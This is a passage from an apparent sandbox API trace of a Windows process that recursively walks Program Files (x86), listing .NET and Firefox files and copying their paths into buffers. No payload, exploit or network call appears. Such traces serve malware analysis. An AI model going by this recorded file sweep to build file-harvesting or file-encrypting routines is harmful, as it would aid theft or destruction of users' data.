(x86)\\Microsoft.NET\\RedistList\\") returned 48 [0031.557] lstrlenW (lpString="AssemblyList_4_client.xml") returned 25 [0031.557] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\", lpString2="AssemblyList_4_client.xml" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" [0031.557] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml") returned 73 [0031.557] lstrcpyW (in: lpString1=0x25e1d38, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" [0031.557] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.557] lstrcmpW (lpString1="AssemblyList_4_extended.xml", lpString2=".") returned 1 [0031.557] lstrcmpW (lpString1="AssemblyList_4_extended.xml", lpString2="..") returned 1 [0031.557] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned 48 [0031.557] lstrlenW (lpString="AssemblyList_4_extended.xml") returned 27 [0031.557] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\", lpString2="AssemblyList_4_extended.xml" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" [0031.557] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml") returned 75 [0031.557] lstrcpyW (in: lpString1=0x25e1dd8, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" [0031.557] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.557] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.557] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.557] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.557] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.557] lstrcmpW (lpString1="Mozilla Firefox", lpString2=".") returned 1 [0031.557] lstrcmpW (lpString1="Mozilla Firefox", lpString2="..") returned 1 [0031.557] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0031.557] lstrlenW (lpString="Mozilla Firefox") returned 15 [0031.557] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Mozilla Firefox" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox") returned="c:\\Program Files (x86)\\Mozilla Firefox" [0031.557] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\" [0031.557] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.557] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\*" [0031.557] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.557] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.557] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.557] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.558] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.558] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.558] lstrcmpW (lpString1="AccessibleMarshal.dll", lpString2=".") returned 1 [0031.558] lstrcmpW (lpString1="AccessibleMarshal.dll", lpString2="..") returned 1 [0031.558] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.558] lstrlenW (lpString="AccessibleMarshal.dll") returned 21 [0031.558] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="AccessibleMarshal.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll" [0031.558] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll") returned 60 [0031.558] lstrcpyW (in: lpString1=0x25e1e90, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll" [0031.558] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.558] lstrcmpW (lpString1="application.ini", lpString2=".") returned 1 [0031.558] lstrcmpW (lpString1="application.ini", lpString2="..") returned 1 [0031.558] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.558] lstrlenW (lpString="application.ini") returned 15 [0031.558] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="application.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini" [0031.558] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini") returned 54 [0031.558] lstrcpyW (in: lpString1=0x25e08d0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini" [0031.558] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.558] lstrcmpW (lpString1="breakpadinjector.dll", lpString2=".") returned 1 [0031.558] lstrcmpW (lpString1="breakpadinjector.dll", lpString2="..") returned 1 [0031.558] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.558] lstrlenW (lpString="breakpadinjector.dll") returned 20 [0031.558] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="breakpadinjector.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll" [0031.558] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll") returned 59 [0031.558] lstrcpyW (in: lpString1=0x25e3e78, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll" [0031.558] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.558] lstrcmpW (lpString1="browser", lpString2=".") returned 1 [0031.558] lstrcmpW (lpString1="browser", lpString2="..") returned 1 [0031.558] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.558] lstrlenW (lpString="browser") returned 7 [0031.558] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="browser" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser" [0031.558] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\" [0031.558] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0031.559] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\*" [0031.559] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.559] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.559] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.559] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.559] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.559] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.559] lstrcmpW (lpString1="blocklist.xml", lpString2=".") returned 1 [0031.559] lstrcmpW (lpString1="blocklist.xml", lpString2="..") returned 1 [0031.559] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0031.559] lstrlenW (lpString="blocklist.xml") returned 13 [0031.559] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="blocklist.xml" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml" [0031.559] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml") returned 60 [0031.559] lstrcpyW (in: lpString1=0x25e1f18, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml" [0031.559] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.559] lstrcmpW (lpString1="chrome.manifest", lpString2=".") returned 1 [0031.560] lstrcmpW (lpString1="chrome.manifest", lpString2="..") returned 1 [0031.560] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0031.560] lstrlenW (lpString="chrome.manifest") returned 15 [0031.560] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="chrome.manifest" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest" [0031.560] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest") returned 62 [0031.560] lstrcpyW (in: lpString1=0x25e1fa0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest" [0031.560] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.560] lstrcmpW (lpString1="components", lpString2=".") returned 1 [0031.560] lstrcmpW (lpString1="components", lpString2="..") returned 1 [0031.560] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0031.560] lstrlenW (lpString="components") returned 10 [0031.560] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="components" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\components") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\components" [0031.560] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.560] lstrcmpW (lpString1="crashreporter-override.ini", lpString2=".") returned 1 [0031.560] lstrcmpW (lpString1="crashreporter-override.ini", lpString2="..") returned 1 [0031.560] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0031.560] lstrlenW (lpString="crashreporter-override.ini") returned 26 [0031.560] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="crashreporter-override.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini" [0031.560] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini") returned 73 [0031.560] lstrcpyW (in: lpString1=0x25e3ef8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini" [0031.560] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.560] lstrcmpW (lpString1="extensions", lpString2=".") returned 1 [0031.560] lstrcmpW (lpString1="extensions", lpString2="..") returned 1 [0031.560] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0031.560] lstrlenW (lpString="extensions") returned 10 [0031.560] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="extensions" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions" [0031.560] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.560] lstrcmpW (lpString1="omni.ja", lpString2=".") returned 1 [0031.560] lstrcmpW (lpString1="omni.ja", lpString2="..") returned 1 [0031.560] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0031.560] lstrlenW (lpString="omni.ja") returned 7 [0031.560] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja" [0031.560] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja") returned 54 [0031.560] lstrcpyW (in: lpString1=0x25e0948, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja" [0031.560] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.560] lstrcmpW (lpString1="searchplugins", lpString2=".") returned 1 [0031.560] lstrcmpW (lpString1="searchplugins", lpString2="..") returned 1 [0031.560] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0031.560] lstrlenW (lpString="searchplugins") returned 13 [0031.560] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="searchplugins" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins" [0031.560] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.560] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.561] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.561] lstrcmpW (lpString1="crashreporter.exe", lpString2=".") returned 1 [0031.561] lstrcmpW (lpString1="crashreporter.exe", lpString2="..") returned 1 [0031.561] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.561] lstrlenW (lpString="crashreporter.exe") returned 17 [0031.561] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="crashreporter.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe" [0031.561] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe") returned 56 [0031.561] lstrcpyW (in: lpString1=0x25e3f98, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe" [0031.561] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.561] lstrcmpW (lpString1="crashreporter.ini", lpString2=".") returned 1 [0031.561] lstrcmpW (lpString1="crashreporter.ini", lpString2="..") returned 1 [0031.561] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.561] lstrlenW (lpString="crashreporter.ini") returned 17 [0031.561] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="crashreporter.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini" [0031.561] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini") returned 56 [0031.561] lstrcpyW (in: lpString1=0x25e4018, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini" [0031.561] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.561] lstrcmpW (lpString1="D3DCompiler_43.dll", lpString2=".") returned 1 [0031.561] lstrcmpW (lpString1="D3DCompiler_43.dll", lpString2="..") returned 1 [0031.561] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.561] lstrlenW (lpString="D3DCompiler_43.dll") returned 18 [0031.561] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="D3DCompiler_43.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll" [0031.561] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll") returned 57 [0031.562] lstrcpyW (in: lpString1=0x25e4098, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll" [0031.562] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.562] lstrcmpW (lpString1="defaults", lpString2=".") returned 1 [0031.562] lstrcmpW (lpString1="defaults", lpString2="..") returned 1 [0031.562] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.562] lstrlenW (lpString="defaults") returned 8 [0031.562] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="defaults" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults") returned="c:\\Program Files (x86)\\Mozilla Firefox\\defaults" [0031.562] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\" [0031.562] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\") returned 48 [0031.562] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\*" [0031.562] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.562] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.562] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.562] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.562] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.562] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.562] lstrcmpW (lpString1="pref", lpString2=".") returned 1 [0031.562] lstrcmpW (lpString1="pref", lpString2="..") returned 1 [0031.562] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\") returned 48 [0031.562] lstrlenW (lpString="pref") returned 4 [0031.562] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\", lpString2="pref" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref") returned="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref" [0031.562] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.562] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.562] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.562] lstrcmpW (lpString1="dependentlibs.list", lpString2=".") returned 1 [0031.562] lstrcmpW (lpString1="dependentlibs.list", lpString2="..") returned 1 [0031.562] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.562] lstrlenW (lpString="dependentlibs.list") returned 18 [0031.562] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="dependentlibs.list" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list" [0031.562] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list") returned 57 [0031.562] lstrcpyW (in: lpString1=0x25e4118, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list" [0031.562] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.562] lstrcmpW (lpString1="dictionaries", lpString2=".") returned 1 [0031.562] lstrcmpW (lpString1="dictionaries", lpString2="..") returned 1 [0031.562] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.562] lstrlenW (lpString="dictionaries") returned 12 [0031.562] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="dictionaries" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries" [0031.562] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\" [0031.562] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\") returned 52 [0031.563] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\*" [0031.563] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.563] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.563] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.563] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.563] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.563] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.563] lstrcmpW (lpString1="en-US.aff", lpString2=".") returned 1 [0031.563] lstrcmpW (lpString1="en-US.aff", lpString2="..") returned 1 [0031.563] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\") returned 52 [0031.563] lstrlenW (lpString="en-US.aff") returned 9 [0031.563] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\", lpString2="en-US.aff" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff" [0031.563] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff") returned 61 [0031.563] lstrcpyW (in: lpString1=0x25e2028, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff" [0031.563] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.563] lstrcmpW (lpString1="en-US.dic", lpString2=".") returned 1 [0031.563] lstrcmpW (lpString1="en-US.dic", lpString2="..") returned 1 [0031.563] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\") returned 52 [0031.563] lstrlenW (lpString="en-US.dic") returned 9 [0031.563] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\", lpString2="en-US.dic" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic" [0031.563] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic") returned 61 [0031.563] lstrcpyW (in: lpString1=0x25e20b0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic" [0031.563] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.563] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.563] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.563] lstrcmpW (lpString1="firefox.exe", lpString2=".") returned 1 [0031.563] lstrcmpW (lpString1="firefox.exe", lpString2="..") returned 1 [0031.563] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0031.563] lstrlenW (lpString="firefox.exe") returned 11 [0031.563] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="firefox.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0031.563] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned 50 [0031.563] lstrcpyW (in: lpString1=0x25e4198, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0031.563] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.563] lstrcmpW (lpString1="freebl3.chk", lpString2=".") returned 1 [0031.563] 